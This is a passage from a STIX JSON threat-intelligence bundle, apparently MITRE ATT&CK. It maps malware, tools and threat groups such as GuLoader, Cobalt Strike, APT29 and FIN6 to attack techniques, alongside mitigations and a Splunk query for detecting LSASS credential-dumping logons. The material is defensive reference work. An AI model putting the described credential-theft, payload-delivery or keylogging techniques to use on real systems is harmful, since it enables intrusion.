2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf","description":"Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020."}],"modified":"2020-05-06T21:31:07.578Z","description":"[Okrum](https://attack.mitre.org/software/S0439) has used a custom implementation of AES encryption to encrypt collected data.(Citation: ESET Okrum July 2019)","relationship_type":"uses","source_ref":"malware--4b6ec280-7bbb-48ff-ae59-b189520ebe83","target_ref":"attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cebec7e0-7be7-4bcf-936f-bd7622d559c7","type":"relationship","created":"2021-07-16T17:57:25.432Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Medium Eli Salem GuLoader April 2021","url":"https://elis531989.medium.com/dancing-with-shellcodes-cracking-the-latest-version-of-guloader-75083fb15cb4","description":"Salem, E. (2021, April 19). Dancing With Shellcodes: Cracking the latest version of Guloader. Retrieved July 7, 2021."}],"modified":"2021-07-16T17:57:25.432Z","description":"[GuLoader](https://attack.mitre.org/software/S0561) has the ability to download malware from Google Drive.(Citation: Medium Eli Salem GuLoader April 2021)","relationship_type":"uses","source_ref":"malware--45c759ac-b490-48bb-80d4-c8eee3431027","target_ref":"attack-pattern--830c9528-df21-472c-8c14-a036bf17d665","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cecb2ce6-cb40-453d-9487-9f59f156a98c","created":"2021-04-07T13:58:01.911Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Cobalt Strike September 2020","description":"Mavis, N. (2020, September 21). The Art and Science of Detecting Cobalt Strike. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20210219195905/https://talos-intelligence-site.s3.amazonaws.com/production/document_files/files/000/095/031/original/Talos_Cobalt_Strike.pdf"},{"source_name":"Cobalt Strike Manual 4.3 November 2020","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021.","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:23:54.844Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can deliver additional payloads to victim machines.(Citation: Talos Cobalt Strike September 2020)(Citation: Cobalt Strike Manual 4.3 November 2020)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cecd5f93-a1ae-4125-a165-ba7e1f389d52","type":"relationship","created":"2022-03-30T14:26:51.856Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.856Z","description":"Monitor executed commands and arguments that may attempt to manipulate the name of a task or service to make it appear legitimate or benign.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cecdfe74-68df-4008-8d83-226d0de77782","created":"2022-06-03T16:02:46.380Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky Lyceum October 2021","description":"Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022.","url":"https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf"},{"source_name":"SecureWorks August 2019","description":"SecureWorks 2019, August 27 LYCEUM Takes Center Stage in Middle East Campaign Retrieved. 2019/11/19 ","url":"https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-14T18:38:01.791Z","description":"[HEXANE](https://attack.mitre.org/groups/G1001) has used a PowerShell-based keylogger named `kl.ps1`.(Citation: SecureWorks August 2019)(Citation: Kaspersky Lyceum October 2021)","relationship_type":"uses","source_ref":"intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cece5cb5-3837-4551-be22-5c27b63eae63","type":"relationship","created":"2020-05-08T18:41:16.415Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Inception Framework March 2018","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/inception-framework-hiding-behind-proxies","description":"Symantec. (2018, March 14). Inception Framework: Alive and Well, and Hiding Behind Proxies. Retrieved May 8, 2020."}],"modified":"2020-05-12T15:21:21.632Z","description":"[Inception](https://attack.mitre.org/groups/G0100) has used a reconnaissance module to identify active processes and other associated loaded modules.(Citation: Symantec Inception Framework March 2018)","relationship_type":"uses","source_ref":"intrusion-set--ead23196-d7b6-4ce6-a124-4ab4b67d81bd","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cecf4306-a80e-4e65-b701-7e934adc6c42","type":"relationship","created":"2019-05-24T17:02:44.385Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Lab52 WIRTE Apr 2019","url":"https://lab52.io/blog/wirte-group-attacking-the-middle-east/","description":"S2 Grupo. (2019, April 2). WIRTE Group attacking the Middle East. Retrieved May 24, 2019."}],"modified":"2019-06-20T15:30:38.632Z","description":"[WIRTE](https://attack.mitre.org/groups/G0090) has downloaded PowerShell code from the C2 server to be executed.(Citation: Lab52 WIRTE Apr 2019)","relationship_type":"uses","source_ref":"intrusion-set--f8cb7b36-62ef-4488-8a6d-a7033e3271c1","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ced0348f-1bc8-461b-8123-a1b3aeb38e94","type":"relationship","created":"2021-08-24T14:22:49.204Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA MAR-10292089-1.v2 TAIDOOR August 2021","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-216a","description":"CISA, FBI, DOD. (2021, August). MAR-10292089-1.v2 – Chinese Remote Access Trojan: TAIDOOR. Retrieved August 24, 2021."}],"modified":"2021-08-24T14:22:49.204Z","description":"[Taidoor](https://attack.mitre.org/software/S0011) can use GetCurrentProcessId for process discovery.(Citation: CISA MAR-10292089-1.v2 TAIDOOR August 2021)","relationship_type":"uses","source_ref":"malware--b143dfa4-e944-43ff-8429-bfffc308c517","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ced15447-281b-4d92-941e-b5df9747a3d5","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.crysys.hu/publications/files/skywiper.pdf","description":"sKyWIper Analysis Team. (2012, May 31). sKyWIper (a.k.a. Flame a.k.a. Flamer): A complex malware for targeted attacks. Retrieved September 6, 2018.","source_name":"Crysys Skywiper"}],"modified":"2019-06-06T14:35:53.985Z","description":"Rundll32.exe is used as a way of executing [Flame](https://attack.mitre.org/software/S0143) at the command-line.(Citation: Crysys Skywiper)","relationship_type":"uses","source_ref":"malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ced175fd-1f27-44cb-8d7f-44277b1754e4","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point Havij Analysis","description":"Ganani, M. (2015, May 14). Analysis of the Havij SQL Injection tool. Retrieved March 19, 2018.","url":"https://blog.checkpoint.com/2015/05/14/analysis-havij-sql-injection-tool/"}],"modified":"2018-10-17T00:14:20.652Z","description":"[Havij](https://attack.mitre.org/software/S0224) is used to automate SQL injection.(Citation: Check Point Havij Analysis)","relationship_type":"uses","source_ref":"tool--fbd727ea-c0dc-42a9-8448-9e12962d1ab5","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ced41648-7201-4eb8-aaae-c376e05af519","type":"relationship","created":"2021-04-07T18:07:47.884Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Hildegard Malware","url":"https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/","description":"Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."}],"modified":"2021-04-07T18:07:47.884Z","description":"[Hildegard](https://attack.mitre.org/software/S0601) has queried the Cloud Instance Metadata API for cloud credentials.(Citation: Unit 42 Hildegard Malware)","relationship_type":"uses","source_ref":"malware--40a1b8ec-7295-416c-a6b1-68181d86f120","target_ref":"attack-pattern--19bf235b-8620-4997-b5b4-94e0659ed7c3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ced766d2-ca63-43d2-8551-76f37696cc88","created":"2018-10-17T00:14:20.652Z","x_mitre_version":"1.0","external_references":[{"source_name":"Unit 42 Bisonal July 2018","url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/","description":"Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018."},{"source_name":"Talos Bisonal Mar 2020","url":"https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html","description":"Mercer, W., et al. (2020, March 5). Bisonal: 10 years of play. Retrieved January 26, 2022."},{"source_name":"Kaspersky CactusPete Aug 2020","url":"https://securelist.com/cactuspete-apt-groups-updated-bisonal-backdoor/97962/","description":"Zykov, K. (2020, August 13). CactusPete APT group’s updated Bisonal backdoor. Retrieved May 5, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Bisonal](https://attack.mitre.org/software/S0268) has used commands and API calls to gather system information.(Citation: Unit 42 Bisonal July 2018)(Citation: Kaspersky CactusPete Aug 2020)(Citation: Talos Bisonal Mar 2020)","modified":"2022-04-18T21:28:53.344Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--65ffc206-d7c1-45b3-b543-f6b726e7840d","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ced83af5-76c5-4319-8d30-9682f71fe84f","created":"2021-11-24T21:30:57.969Z","x_mitre_version":"1.0","external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[LazyScripter](https://attack.mitre.org/groups/G0140) has used `rundll32.exe` to execute [Koadic](https://attack.mitre.org/software/S0250) stagers.(Citation: MalwareBytes LazyScripter Feb 2021) ","modified":"2022-04-06T18:15:39.899Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--abc5a1d4-f0dc-49d1-88a1-4a80e478bb03","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cedfb953-2088-4e8d-a21b-57fdfce65337","type":"relationship","created":"2021-01-05T22:42:06.146Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye SUNBURST Backdoor December 2020","url":"https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html","description":"FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."}],"modified":"2021-01-05T22:42:06.146Z","description":"[SUNBURST](https://attack.mitre.org/software/S0559) collected the registry value HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Cryptography\\MachineGuid from compromised hosts.(Citation: FireEye SUNBURST Backdoor December 2020)","relationship_type":"uses","source_ref":"malware--a8839c95-029f-44cf-8f3d-a3cf2039e927","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--cee1cfd6-0906-4b52-a8b4-d0d585632b81","created":"2020-10-19T23:49:08.607Z","x_mitre_version":"1.0","external_references":[{"source_name":"US-CERT TA17-156A SNMP Abuse 2017","url":"https://us-cert.cisa.gov/ncas/alerts/TA17-156A","description":"US-CERT. (2017, June 5). Reducing the Risk of SNMP Abuse. Retrieved October 19, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"Configure SNMPv3 to use the highest level of security (authPriv) available.(Citation: US-CERT TA17-156A SNMP Abuse 2017)","modified":"2022-04-19T21:34:57.496Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"mitigates","source_ref":"course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157","target_ref":"attack-pattern--0ad7bc5c-235a-4048-944b-3b286676cb74","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ceebecd3-5cab-40fd-8020-f5cb06f3ccd7","type":"relationship","created":"2020-11-13T20:44:05.174Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Grandoreiro April 2020","url":"https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/","description":"ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."}],"modified":"2020-12-09T19:12:41.089Z","description":"[Grandoreiro](https://attack.mitre.org/software/S0531) can determine the IP and physical location of the compromised host via IPinfo.(Citation: ESET Grandoreiro April 2020)","relationship_type":"uses","source_ref":"malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ceed81ff-99e9-45d2-8118-8f2ada6d13d3","type":"relationship","created":"2022-03-25T19:34:13.951Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC Nobelium Oct 2021","url":"https://www.microsoft.com/security/blog/2021/10/25/nobelium-targeting-delegated-administrative-privileges-to-facilitate-broader-attacks/","description":"Microsoft Threat Intelligence Center. (2021, October 25). NOBELIUM targeting delegated administrative privileges to facilitate broader attacks. Retrieved March 25, 2022."}],"modified":"2022-03-25T19:34:13.951Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has conducted enumeration of Azure AD accounts.(Citation: MSTIC Nobelium Oct 2021)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--8f104855-e5b7-4077-b1f5-bc3103b41abe","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cef47b7b-6ecb-458b-8224-d797223a4689","type":"relationship","created":"2020-10-19T16:48:08.538Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-21T01:45:59.197Z","description":"Restrict administrator accounts to as few individuals as possible, following least privilege principles. Prevent credential overlap across systems of administrator and privileged accounts, particularly between network and non-network platforms, such as servers or endpoints.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--4ffc1794-ec3b-45be-9e52-42dbcb2af2de","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cef53316-353b-48f8-bce4-1d95f3ff843e","type":"relationship","created":"2019-10-07T19:05:49.099Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 BabyShark Feb 2019","url":"https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/","description":"Unit 42. (2019, February 22). New BabyShark Malware Targets U.S. National Security Think Tanks. Retrieved October 7, 2019."}],"modified":"2019-10-07T19:05:49.099Z","description":"[BabyShark](https://attack.mitre.org/software/S0414) has executed the ipconfig /all command.(Citation: Unit42 BabyShark Feb 2019)\t","relationship_type":"uses","source_ref":"malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cef64d3f-3747-4811-8104-09f63a24b32b","created":"2024-05-22T20:25:54.484Z","revoked":false,"external_references":[{"source_name":"SentinelOne Agrius 2021","description":"Amitai Ben & Shushan Ehrlich. (2021, May). From Wiper to Ransomware: The Evolution of Agrius. Retrieved May 21, 2024.","url":"https://assets.sentinelone.com/sentinellabs/evol-agrius"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T20:25:54.484Z","description":"[Apostle](https://attack.mitre.org/software/S1133) searches for files on available drives based on a list of extensions hard-coded into the sample for follow-on wipe activity.(Citation: SentinelOne Agrius 2021)","relationship_type":"uses","source_ref":"malware--48d96fa0-d027-45aa-a8c3-5d09f65d596d","target_ref":"attack-pattern--fb640c43-aa6b-431e-a961-a279010424ac","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cef68296-665f-49ed-8a30-c91f8c00096f","type":"relationship","created":"2020-09-01T15:08:18.719Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf","description":"FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.","source_name":"FireEye FIN6 April 2016"}],"modified":"2020-09-01T15:08:18.719Z","description":"[FIN6](https://attack.mitre.org/groups/G0037) has extracted password hashes from ntds.dit to crack offline.(Citation: FireEye FIN6 April 2016)","relationship_type":"uses","source_ref":"intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb","target_ref":"attack-pattern--1d24cdee-9ea2-4189-b08e-af110bf2435d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cef7d272-ee0c-4379-9d7b-63adf1f40252","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","source_name":"Cylance Dust Storm"}],"modified":"2022-01-19T18:26:38.135Z","description":"[Mis-Type](https://attack.mitre.org/software/S0084) network traffic can communicate over a raw socket.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cf07fdf9-9737-4fd9-876c-da96d5b8d1a1","type":"relationship","created":"2020-12-28T21:51:00.016Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-12-28T21:51:00.016Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--5d2be8b9-d24c-4e98-83bf-2f5f79477163","target_ref":"attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cf0b5987-3d37-481c-979c-36c597b91fc5","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/","description":"Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.","source_name":"Volexity Patchwork June 2018"}],"modified":"2019-06-24T19:05:41.606Z","description":"A [QuasarRAT](https://attack.mitre.org/software/S0262) .dll file is digitally signed by a certificate from AirVPN.(Citation: Volexity Patchwork June 2018)","relationship_type":"uses","source_ref":"tool--da04ac30-27da-4959-a67d-450ce47d9470","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cf0b7d7d-0770-4b97-86ff-cbb5ec19bb83","created":"2023-03-26T15:45:52.810Z","revoked":false,"external_references":[{"source_name":"Volexity SolarWinds","description":"Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.","url":"https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/"},{"source_name":"CrowdStrike StellarParticle January 2022","description":"CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.","url":"https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/"},{"source_name":"Microsoft Deep Dive Solorigate January 2021","description":"MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021.","url":"https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T15:45:52.810Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) used the `Get-AcceptedDomain` PowerShell cmdlet to enumerate accepted domains through an Exchange Management Shell.(Citation: Volexity SolarWinds) They also used [AdFind](https://attack.mitre.org/software/S0552) to enumerate domains and to discover trust between federated domains.(Citation: CrowdStrike StellarParticle January 2022)(Citation: Microsoft Deep Dive Solorigate January 2021)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cf0cb87a-2941-4fdc-aa4a-7d7363c41735","created":"2023-07-17T13:37:30.740Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-13T13:47:04.299Z","description":"Monitor for newly constructed logon behavior from credentials being accessed by process memory of the LSASS. For example, detect behaviors of Secretsdump against a system, not being a Domain Controller. \n\nAnalytic 1 - Unusual logon sessions from LSASS memory access.\n\n index=security sourcetype=\"WinEventLog:Security\" EventCode=4624 TargetUserName=\"*\"\n| eval LogonType=case(Logon_Type==\"2\", \"Interactive\", Logon_Type==\"3\", \"Network\", Logon_Type==\"4\", \"Batch\", Logon_Type==\"5\", \"Service\", Logon_Type==\"7\", \"Unlock\", Logon_Type==\"8\", \"NetworkCleartext\", Logon_Type==\"9\", \"NewCredentials\", Logon_Type==\"10\", \"RemoteInteractive\", Logon_Type==\"11\", \"CachedInteractive\")\n| where LogonType IN (\"Interactive\", \"RemoteInteractive\", \"NetworkCleartext\") ","relationship_type":"detects","source_ref":"x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cf130e28-dbd6-4312-ba0a-a3cbcf05c064","type":"relationship","created":"2021-10-07T17:28:00.938Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Chaes Nov 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf","description":"Salem, E. (2020, November 17). CHAES: Novel Malware Targeting Latin American E-Commerce. Retrieved June 30, 2021."}],"modified":"2021-10-07T17:28:00.938Z","description":"[Chaes](https://attack.mitre.org/software/S0631) has used the Puppeteer module to hook and monitor the Chrome web browser to collect user information from infected hosts.(Citation: 